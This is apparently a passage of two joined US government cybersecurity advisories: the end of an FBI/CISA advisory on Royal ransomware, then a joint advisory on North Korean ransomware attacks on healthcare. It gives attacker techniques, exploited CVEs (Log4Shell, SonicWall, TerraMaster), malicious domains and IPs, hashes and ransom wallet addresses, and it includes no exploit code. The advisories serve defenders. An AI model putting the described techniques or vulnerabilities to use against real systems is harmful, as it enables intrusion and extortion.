access using malvertising links via emails and public-facing sites. External Remote Services T1133 The actors gain initial access through a variety of RMM software. Command and Control     Technique Title ID Use Ingress Tool Transfer T1105 The actors used C2 infrastructure to download multiple tools. Protocol Tunneling T1572 The actors used an encrypted SSH tunnel to communicate within C2 infrastructure.                                                               Privilege Escalation     Technique Title ID Use Valid Accounts: Domain Accounts T1078.002 The actors used encrypted files to create new admin user accounts. Defense Evasion     Technique Title ID Use Impair Defenses: Disable or Modify Tools T1562.001 The actors deactivated antivirus protocols. Domain Policy Modification: Group Policy Modification T1484.001 The actors modified Group Policy Objects to subvert antivirus protocols. Indicator Removal: Clear Windows Event Logs T1070.001 The actors deleted shadow files and system and security logs after exfiltration. Remote Desktop Protocol T1021.001 The actors used valid accounts to move laterally through the domain controller using RDP. Automated Collection T1119 The actors used registry keys to auto-extract and collect files.                                                                          Impact       Technique Title ID Use Data Encrypted for Impact T1486 The actors encrypted data to determine which files were being used or blocked by other applications. MITIGATIONS FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Royal ransomware. These mitigations follow CISA’s Cybersecurity Performance Goals (CPGs), which provide a minimum set of practices and protections that are informed by the most common and impactful threats, tactics, techniques, and procedures, and which yield goals that all organizations across critical infrastructure sectors should implement: Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 7.3] in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud). Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies [CPG 3.4]. Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 1.4]. Store passwords in hashed format using industry-recognized password managers. Add password user “salts” to shared login credentials. Avoid reusing passwords. Implement multiple failed login attempt account lockouts [CPG 1.1]. Disable password hints. Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password patterns cyber criminals can easily decipher.  Require administrator credentials to install software. Require multifactor authentication [CPG 1.3] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.  Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.  Segment networks [CPG 8.1]. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.  Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic [CPG 5.1], including lateral movement activity on a network. Endpoint detection and response (EDR) tools are useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.  Install, regularly update, and enable real time detection for antivirus software on all hosts. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 1.5]. Disable unused ports. Consider adding an email banner to emails [CPG 8.3] received from outside your organization. Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.  Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.  Maintain offline backups of data, and regularly maintain backup and restoration [CPG 7.3]. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.  Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 3.3]. RESOURCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. REPORTING FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Royal actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. Additional details requested include: a targeted company Point of Contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, host and network based indicators. FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, or CISA at https://www.cisa.gov/report. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI. REFERENCES [1] Royal Rumble: Analysis of Royal Ransomware (cybereason.com) [2] DEV-0569 finds new ways to deliver Royal ransomware, various payloads - Microsoft Security Blog [3] 2023-01: ACSC Ransomware Profile - Royal | Cyber.gov.au ACKNOWLEDGEMENTS Recorded Future, Coveware, Digital Asset Redemption, Q6, and RedSense contributed to this CSA. Please share your thoughts. We recently updated our anonymous Product Feedback Survey and we'd welcome your feedback.

SUMMARY Note: This Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and various ransomware threat actors. These #StopRansomware advisories detail historically and recently observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn about other ransomware threats and no-cost resources. The United States National Security Agency (NSA), the U.S. Federal Bureau of Investigation (FBI), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Department of Health and Human Services (HHS), the Republic of Korea (ROK) National Intelligence Service (NIS), and the ROK Defense Security Agency (DSA) (hereafter referred to as the “authoring agencies”) are issuing this joint Cybersecurity Advisory (CSA) to highlight ongoing ransomware activity against Healthcare and Public Health Sector organizations and other critical infrastructure sector entities. This CSA provides an overview of Democratic People’s Republic of Korea (DPRK) state-sponsored ransomware and updates the July 6, 2022, joint CSA North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector. This advisory highlights TTPs and IOCs DPRK cyber actors used to gain access to and conduct ransomware attacks against Healthcare and Public Health (HPH) Sector organizations and other critical infrastructure sector entities, as well as DPRK cyber actors’ use of cryptocurrency to demand ransoms. The authoring agencies assess that an unspecified amount of revenue from these cryptocurrency operations supports DPRK national-level priorities and objectives, including cyber operations targeting the United States and South Korea governments—specific targets include Department of Defense Information Networks and Defense Industrial Base member networks. The IOCs in this product should be useful to sectors previously targeted by DPRK cyber operations (e.g., U.S. government, Department of Defense, and Defense Industrial Base). The authoring agencies highly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. For additional information on state-sponsored DPRK malicious cyber activity, see CISA’s North Korea Cyber Threat Overview and Advisories webpage. Download the PDF version of this report: pdf, 661 kb. For a downloadable copy of IOCs, see AA23-040A STIX XML (XML, 196.24 KB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 12. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. This CSA is supplementary to previous reports on malicious cyber actor activities involving DPRK ransomware campaigns—namely Maui and H0lyGh0st ransomware. The authoring agencies are issuing this advisory to highlight additional observed TTPs DPRK cyber actors are using to conduct ransomware attacks targeting South Korean and U.S. healthcare systems. Observable TTPs The TTPs associated with DPRK ransomware attacks include those traditionally observed in ransomware operations. Additionally, these TTPs span phases from acquiring and purchasing infrastructure to concealing DPRK affiliation: Acquire Infrastructure [T1583]. DPRK actors generate domains, personas, and accounts; and identify cryptocurrency services to conduct their ransomware operations. Actors procure infrastructure, IP addresses, and domains with cryptocurrency generated through illicit cybercrime, such as ransomware and cryptocurrency theft. Obfuscate Identity. DPRK actors purposely obfuscate their involvement by operating with or under third-party foreign affiliate identities and use third-party foreign intermediaries to receive ransom payments. Purchase VPNs and VPSs [T1583.003]. DPRK cyber actors will also use virtual private networks (VPNs) and virtual private servers (VPSs) or third-country IP addresses to appear to be from innocuous locations instead of from DPRK. Gain Access [TA0001]. Actors use various exploits of common vulnerabilities and exposures (CVE) to gain access and escalate privileges on networks. Recently observed CVEs that actors used to gain access include remote code execution in the Apache Log4j software library (known as Log4Shell) and remote code execution in unpatched SonicWall SMA 100 appliances [T1190 and T1133]. Observed CVEs used include: CVE 2021-44228 CVE-2021-20038 CVE-2022-24990 Actors also likely spread malicious code through Trojanized files for “X-Popup,” an open source messenger commonly used by employees of small and medium hospitals in South Korea [T1195]. The actors spread malware by leveraging two domains: xpopup.pe[.]kr and xpopup.com. xpopup.pe[.]kr is registered to IP address 115.68.95[.]128 and xpopup[.]com is registered to IP address 119.205.197[.]111. Related file names and hashes are listed in table 1. Table 1: Malicious file names and hashes spread by xpopup domains File Name MD5 Hash xpopup.rar 1f239db751ce9a374eb9f908c74a31c9 X-PopUp.exe 6fb13b1b4b42bac05a2ba629f04e3d03 X-PopUp.exe cf8ba073db7f4023af2b13dd75565f3d xpopup.exe 4e71d52fc39f89204a734b19db1330d3 x-PopUp.exe 43d4994635f72852f719abb604c4a8a1 xpopup.exe 5ae71e8440bf33b46554ce7a7f3de666 Move Laterally and Discovery [TA0007, TA0008]. After initial access, DPRK cyber actors use staged payloads with customized malware to perform reconnaissance activities, upload and download additional files and executables, and execute shell commands [T1083, T1021]. The staged malware is also responsible for collecting victim information and sending it to the remote host controlled by the actors [TA0010]. Employ Various Ransomware Tools [TA0040]. Actors have used privately developed ransomware, such as Maui and H0lyGh0st [T1486]. Actors have also been observed using or possessing publically available tools for encryption, such as BitLocker, Deadbolt, ech0raix, GonnaCry, Hidden Tear, Jigsaw, LockBit 2.0, My Little Ransomware, NxRansomware, Ryuk, and YourRansom [T1486]. In some cases, DPRK actors have portrayed themselves as other ransomware groups, such as the REvil ransomware group. For IOCs associated with Maui and H0lyGh0st ransomware usage, please see Appendix B. Demand Ransom in Cryptocurrency. DPRK cyber actors have been observed setting ransoms in bitcoin [T1486]. Actors are known to communicate with victims via Proton Mail email accounts. For private companies in the healthcare sector, actors may threaten to expose a company’s proprietary data to competitors if ransoms are not paid. Bitcoin wallet addresses possibly used by DPRK cyber actors include: 1MTHBCrBKYEthfa16zo9kabt4f9jMJz8Rm bc1q80vc4yjgg6umedkut3e9mhehxl4q4dcjjyzh59 1J8spy62o7z2AjQxoUpiCGnBh5cRWKVWJC 16ENLdHbnmDcEV8iqN4vuyZHa7sSdYRh76 bc1q3wzxvu8yhs8h7mlkmf7277wyklkah9k4sm9anu bc1q8xyt4jxhw7mgqpwd6qfdjyxgvjeuz57jxrvgk9 1NqihEqYaQaWiZkPVdSMiTbt7dTy1LMxgX bc1qxrpevck3pq1yzrx2pq2rkvkvy0jnm56nzjv6pw 14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk 1KCwfCUgnSy3pzNX7U1i5NwFzRtth4bRBc 16sYqXancDDiijcuruZecCkdBDwDf4vSEC 1N6JphHFaYmYaokS5xH31Z67bvk4ykd9CP LZ1VNJfn6mWjPzkCyoBvqWaBZYXAwn135 1KmWW6LgdgykBBrSXrFu9kdoHz95Fe9kQF 1FX4W9rrG4F3Uc7gJ18GCwGab8XuW8Ajy2 bc1qlqgu2l2kms5338zuc95kxavctzyy0v705tpvyc bc1qy6su7vrh7ts5ng2628escmhr98msmzg62ez2sp bc1q8t69gpxsezdcr8w6tfzp3jeptq4tcp2g9d0mwy bc1q9h7yj79sqm4t536q0fdn7n4y2atsvvl22m28ep bc1qj6y72rk039mqpgtcy7mwjd3eum6cx6027ndgmd bc1qcp557vltuu3qc6pk3ld0ayagrxuf2thp3pjzpe bc1ql8wsflrjf9zlusauynzjm83mupq6c9jz9vnqxg bc1qx60ec3nfd5yhsyyxkzkpts54w970yxj84zrdck bc1qunqnjdlvqkjuhtclfp8kzkjpvdz9qnk898xczp bc1q6024d73h48fnhwswhwt3hqz2lzw6x99q0nulm4 bc1qwdvexlyvg3mqvqw7g6l09qup0qew80wjj9jh7x bc1qavrtge4p7dmcrnvhlvuhaarx8rek76wxyk7dgg bc1qagaayd57vr25dlqgk7f00nhz9qepqgnlnt4upu bc1quvnaxnpqlzq3mdhfddh35j7e7ufxh3gpc56hca bc1qu0pvfmtxawm8s99lcjvxapungtsmkvwyvak6cs bc1qg3zlxxhhcvt6hkuhmqml8y9pas76cajcu9ltdl bc1qn7a3g23nzpuytchyyteyhkcse84cnylznl3j32 bc1qhfmqstxp3yp9muvuz29wk77vjtdyrkff4nrxpu bc1qnh8scrvuqvlzmzgw7eesyrmtes9c5m78duetf3 bc1q7qry3lsrphmnw3exs7tkwzpvzjcxs942aq8n0y bc1qcmlcxfsy0zlqhh72jvvc4rh7hvwhx6scp27na0 bc1q498fn0gauj2kkjsg35mlwk2cnxhaqlj7hkh8xy bc1qnz4udqkumjghnm2a3zt0w3ep8fwdcyv3krr3jq bc1qk0saaw7p0wrwla6u7tfjlxrutlgrwnudzx9tyw bc1qyue2pgjk09ps7qvfs559k8kee3jkcw4p4vdp57 bc1q6qfkt06xmrpclht3acmq00p7zyy0ejydu89zwv bc1qmge6a7sp659exnx78zhm9zgrw88n6un0rl9trs bc1qcywkd7zqlwmjy36c46dpf8cq6ts6wgkjx0u7cn MITIGATIONS Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the U.S. National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. For more information on the CPGs, including additional recommended baseline protections, see cisa.gov/cpg. The authoring agencies urge HPH organizations to: Limit access to data by authenticating and encrypting connections (e.g., using public key infrastructure certificates in virtual private network (VPN) and transport layer security (TLS) connections) with network services, Internet of Things (IoT) medical devices, and the electronic health record system [CPG 3.3]. Implement the principle of least privilege by using standard user accounts on internal systems instead of administrative accounts [CPG 1.5], which grant excessive system administration privileges. Turn off weak or unnecessary network device management interfaces, such as Telnet, SSH, Winbox, and HTTP for wide area networks (WANs) and secure with strong passwords and encryption when enabled. Protect stored data by masking the permanent account number (PAN) when displayed and rendering it unreadable when stored—through cryptography, for example. Secure the collection, storage, and processing practices for personally identifiable information (PII)/protected health information (PHI), per regulations such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). Implementing HIPAA security measures could prevent the introduction of malware to the system [CPG 3.4]. Secure PII/ PHI at collection points and encrypt the data at rest and in transit using technologies, such as TLS. Only store personal patient data on internal systems that are protected by firewalls, and ensure extensive backups are available. Create and regularly review internal policies that regulate the collection, storage, access, and monitoring of PII/PHI. Implement and enforce multi-layer network segmentation with the most critical communications and data resting on the most secure and reliable layer [CPG 8.1]. Use monitoring tools to observe whether IoT devices are behaving erratically due to a compromise [CPG 3.1]. In addition, the authoring agencies urge all organizations, including HPH Sector organizations, to apply the following recommendations to prepare for and mitigate ransomware incidents: Maintain isolated backups of data, and regularly test backup and restoration [CPG 7.3]. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident [CPG 7.1, 7.2]. Organizations should also ensure their incident response and communications plans include data breach incidents response and notification procedures. Ensure the notification procedures adhere to applicable laws. See the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide and CISA Fact Sheet Protecting Sensitive and Personal Information from Ransomware-Caused Data Breaches for information on creating a ransomware response checklist and planning and responding to ransomware-caused data breaches. Install updates for operating systems, software, and firmware as soon as they are released [CPG 5.1]. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Regularly check for software updates and end-of-life notifications and prioritize patching known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process. If you use Remote Desktop Protocol (RDP), or other potentially risky services, secure and monitor them closely [CPG 5.4]. Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require phishing-resistant multifactor authentication (MFA) to mitigate credential theft and reuse [CPG 1.3]. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports [CPG 1.1, 3.1]. Ensure devices are properly configured and that security features are enabled. Disable ports and protocols not in use for a business purpose (e.g., RDP Transmission Control Protocol port 3389). Restrict the Server Message Block (SMB) protocol within the network to only access necessary servers and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity [CPG 5.6, 6.2]. Implement application control policies that only allow systems to execute known and permitted programs [CPG 2.1]. Open document readers in protected viewing modes to help prevent active content from running. Implement a user training program and phishing exercises [CPG 4.3] to raise awareness among users about the risks of visiting websites, clicking on links, and opening attachments. Reinforce the appropriate user response to phishing and spearphishing emails. Require phishing-resistant MFA for as many services as possible [CPG 1.3]—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups. Use strong passwords [CPG 1.4] and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information. Require administrator credentials to install software [CPG 1.5]. Audit user accounts with administrative or elevated privileges [CPG 1.5] and configure access controls with least privilege in mind. Install and regularly update antivirus and antimalware software on all hosts. Only use secure networks. Consider installing and using a VPN. Consider adding an email banner to messages coming from outside your organizations [CPG 8.3] indicating that they are higher risk messages. Consider participating in CISA’s no-cost Automated Indicator Sharing (AIS) program to receive real-time exchange of machine-readable cyber threat indicators and defensive measures. If a ransomware incident occurs at your organization: Follow your organization’s ransomware response checklist. Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. U.S. organizations: Follow the notification requirements as outlined in your cyber incident response plan. Report incidents to appropriate authorities; in the U.S., this would include the FBI at a local FBI Field Office, CISA at cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office. South Korean organizations: Please report incidents to NIS, KISA (Korea Internet & Security Agency), and KNPA (Korean National Police Agency). NIS (National Intelligence Service) Telephone : 111 https://www.nis.go.kr KISA (Korea Internet & Security Agency) Telephone : 118 (Consult Service) https://www.boho.or.kr/consult/ransomware.do KNPA (Korean National Police Agency) Electronic Cybercrime Report & Management System: https://ecrm.police.go.kr/minwon/main Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. RESOURCES Stairwell provided a YARA rule to identify Maui ransomware, and a Proof of Concept public RSA key extractor at the following link:https://www.stairwell.com/news/threat-research-report-maui-ransomware/ REQUEST FOR INFORMATION The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, bitcoin wallet information, the decryptor file, and/or benign samples of encrypted files. As stated above, the authoring agencies discourage paying ransoms. Payment does not guarantee files will be recovered and may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. However, the agencies understand that when victims are faced with an inability to function, all options are evaluated to protect shareholders, employees, and customers. Regardless of whether you or your organization decide to pay a ransom, the authoring agencies urge you to promptly report ransomware incidents using the contact information above. ACKNOWLEDGEMENTS NSA, FBI, CISA, and HHS would like to thank ROK NIS and DSA for their contributions to this CSA. Disclaimer of endorsement The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. Trademark recognition Microsoft Threat Intelligence Center is a registered trademark of Microsoft Corporation. Apache®, Sonicwall, and Apache Log4j are trademarks of Apache Software Foundation. TerraMaster Operating System is a registered trademark of Octagon Systems. Purpose This document was developed in furtherance of the authors’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. Appendix A: CVE Details CVE-2021-44228     CVSS 3.0: 10 (Critical) Vulnerability Description Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects. Recommended Mitigations Apply patches provided by vendor and perform required system updates. Detection Methods See vendors’ Guidance For Preventing, Detecting, and Hunting for Exploitation of the Log4j 2 Vulnerability. Vulnerable Technologies and Versions There are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, please check https://nvd.nist.gov/vuln/detail/CVE-2021-44228. See https://nvd.nist.gov/vuln/detail/CVE-2021-44228 for more information. CVE-2021-20038     CVSS 3.0: 9.8 (Critical) Vulnerability Description A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions. Recommended Mitigations Apply all appropriate vendor updates Upgrade to: SMA 100 Series - (SMA 200, 210, 400, 410, 500v (ESX, Hyper-V, KVM, AWS, Azure): SonicWall SMA100 build versions 10.2.0.9-41sv or later SonicWall SMA100 build versions 10.2.1.3-27sv or later System administrators should refer to the SonicWall Security Advisories in the reference section to determine affected applications/systems and appropriate fix actions. Support for 9.0.0 firmware ended on 10/31/2021. Customers still using that firmware are requested to upgrade to the latest 10.2.x versions. Vulnerable Technologies and Versions Sonicwall Sma 200 Firmware 10.2.0.8-37Sv Sonicwall Sma 200 Firmware 10.2.1.1-19Sv Sonicwall Sma 200 Firmware 10.2.1.2-24Sv Sonicwall Sma 210 Firmware 10.2.0.8-37Sv Sonicwall Sma 210 Firmware 10.2.1.1-19Sv Sonicwall Sma 210 Firmware 10.2.1.2-24Sv Sonicwall Sma 410 Firmware 10.2.0.8-37Sv Sonicwall Sma 410 Firmware 10.2.1.1-19Sv Sonicwall Sma 410 Firmware 10.2.1.2-24Sv Sonicwall Sma 400 Firmware 10.2.0.8-37Sv Sonicwall Sma 400 Firmware 10.2.1.1-19Sv Sonicwall Sma 400 Firmware 10.2.1.2-24Sv Sonicwall Sma 500V Firmware 10.2.0.8-37Sv Sonicwall Sma 500V Firmware 10.2.1.1-19Sv Sonicwall Sma 500V Firmware 10.2.1.2-24Sv See https://nvd.nist.gov/vuln/detail/CVE-2021-20038 for more information. CVE-2022-24990    CVSS 3.x: N/A Vulnerability Description The TerraMaster OS Unauthenticated Remote Command Execution via PHP Object Instantiation Vulnerability is characterized by scanning activity targeting a flaw in the script enabling a remote adversary to execute commands on the target endpoint. The vulnerability is created by improper input validation of the webNasIPS component in the api.php script and resides on the TNAS device appliances' operating system where users manage storage, backup data, and configure applications. By exploiting the script flaw a remote unauthenticated attacker can pass specially crafted data to the application and execute arbitrary commands on the target system. This may result in complete compromise of the target system, including the exfiltration of information. TNAS devices can be chained to acquire unauthenticated remote code execution with highest privileges. Recommended Mitigations Install relevant vendor patches. This vulnerability was patched in TOS version 4.2.30 Vulnerable Technologies and Versions TOS v 4.2.29 See https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/ and https://forum.terra-master.com/en/viewtopic.php?t=3030 for more information. Appendix B: Indicators of Compromise (IOCs) The IOC section includes hashes and IP addresses for the Maui and H0lyGh0st ransomware variants—as well as custom malware implants assumedly developed by DPRK cyber actors, such as remote access trojans (RATs), loaders, and other tools—that enable subsequent deployment of ransomware. For additional Maui IOCs, see joint CSA North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector. Table 2 lists MD5 and SHA256 hashes associated with malware implants, RATs, and other tools used by DPRK cyber actors, including tools that drop Maui ransomware files. Table 2: File names and hashes of malicious implants, RATs, and tools MD5Hash SHA256Hash 079b4588eaa99a1e802adf5e0b26d8aa f67ee77d6129bd1bcd5d856c0fc5314169b946d32b8abaa4e680bb98130b38e7 0e9e256d8173854a7bc26982b1dde783 -- 12c15a477e1a96120c09a860c9d479b3 6263e421e397db821669420489d2d3084f408671524fd4e1e23165a16dda2225 131fc4375971af391b459de33f81c253 -- 17c46ed7b80c2e4dbea6d0e88ea0827c b9af4660da00c7fa975910d0a19fda072031c15fad1eef935a609842c51b7f7d 1875f6a68f70bee316c8a6eda9ebf8de 672ec8899b8ee513dbfc4590440a61023846ddc2ca94c88ae637144305c497e7 1a74c8d8b74ca2411c1d3d22373a6769 ba8f9e7afe5f78494c111971c39a89111ef9262bf23e8a764c6f65c818837a44 1f6d9f8fbdbbd4e6ed8cd73b9e95a928 4f089afa51fd0c1b2a39cc11cedb3a4a326111837a5408379384be6fe846e016 2d02f5499d35a8dffb4c8bc0b7fec5c2 830207029d83fd46a4a89cd623103ba2321b866428aa04360376e6a390063570 2e18350194e59bc6a2a3f6d59da11bd8 655aa64860f1655081489cf85b77f72a49de846a99dd122093db4018434b83ae 3bd22e0ac965ebb6a18bb71ba39e96dc 6b7f566889b80d1dba4f92d5e2fb2f5ef24f57fcfd56bb594978dffe9edbb9eb 40f21743f9cb927b2c84ecdb7dfb14a6 5081f54761947bc9ce4aa2a259a0bd60b4ec03d32605f8e3635c4d4edaf48894 4118d9adce7350c3eedeb056a3335346 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e 43e756d80225bdf1200bc34eef5adca8 afb2d4d88f59e528f0e388705113ae54b7b97db4f03a35ae43cc386a48f263a0 47791bf9e017e3001ddc68a7351ca2d6 863b707873f7d653911e46885e261380b410bb3bf6b158daefb47562e93cb657 505262547f8879249794fc31eea41fc6 f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c 5130888a0ad3d64ad33c65de696d3fa2 c92c1f3e77a1876086ce530e87aa9c1f9cbc5e93c5e755b29cad10a2f3991435 58ad3103295afcc22bde8d81e77c282f 18b75949e03f8dcad513426f1f9f3ca209d779c24cd4e941d935633b1bec00cb 5be1e382cd9730fbe386b69bd8045ee7 5ad106e333de056eac78403b033b89c58b4c4bdda12e2f774625d47ccfd3d3ae 5c6f9c83426c6d33ff2d4e72c039b747 a3b7e88d998078cfd8cdf37fa5454c45f6cbd65f4595fb94b2e9c85fe767ad47 640e70b0230dc026eff922fb1e44c2ea 6319102bac226dfc117c3c9e620cd99c7eafbf3874832f2ce085850aa042f19c 67f4dad1a94ed8a47283c2c0c05a7594 3fe624c33790b409421f4fa2bb8abfd701df2231a959493c33187ed34bec0ae7 70652edadedbacfd30d33a826853467d 196fb1b6eff4e7a049cea323459cfd6c0e3900d8d69e1d80bffbaabd24c06eba 739812e2ae1327a94e441719b885bd19 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67 76c3d2092737d964dfd627f1ced0af80 bffe910904efd1f69544daa9b72f2a70fb29f73c51070bde4ea563de862ce4b1 802e7d6e80d7a60e17f9ffbd62fcbbeb 87bdb1de1dd6b0b75879d8b8aef80b562ec4fad365d7abbc629bcfc1d386afa6 827103a6b6185191fd5618b7e82da292 -- 830bc975a04ab0f62bfedf27f7aca673 -- 85995257ac07ae5a6b4a86758a2283d7 -- 85f6e3e3f0bdd0c1b3084fc86ee59d19 f1576627e8130e6d5fde0dbe3dffcc8bc9eef1203d15fcf09cd877ced1ccc72a 87a6bda486554ab16c82bdfb12452e8b 980bb08ef3e8afcb8c0c1a879ec11c41b29fd30ac65436495e69de79c555b2be 891db50188a90ddacfaf7567d2d0355d 0837dd54268c373069fc5c1628c6e3d75eb99c3b3efc94c45b73e2cf9a6f3207 894de380a249e677be2acb8fbdfba2ef -- 8b395cc6ecdec0900facf6e93ec48fbb -- 92a6c017830cda80133bf97eb77d3292 d1aba3f95f11fc6e5fec7694d188919555b7ff097500e811ff4a5319f8f230be 9b0e7c460a80f740d455a7521f0eada1 45d8ac1ac692d6bb0fe776620371fca02b60cac8db23c4cc7ab5df262da42b78 9b9d4cb1f681f19417e541178d8c75d7 f5f6e538001803b0aa008422caf2c3c2a79b2eeee9ddc7feda710e4aba96fea4 a1f9e9f5061313325a275d448d4ddd59 dfdd72c9ce1212f9d9455e2bca5a327c88d2d424ea5c086725897c83afc3d42d a452a5f693036320b580d28ee55ae2a3 99b0056b7cc2e305d4ccb0ac0a8a270d3fceb21ef6fc2eb13521a930cea8bd9f a6e1efd70a077be032f052bb75544358 3b9fe1713f638f85f20ea56fd09d20a96cd6d288732b04b073248b56cdaef878 ad4eababfe125110299e5a24be84472e a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa b1c1d28dc7da1d58abab73fa98f60a83 38491f48d0cbaab7305b5ddca64ba41a2beb89d81d5fb920e67d0c7334c89131 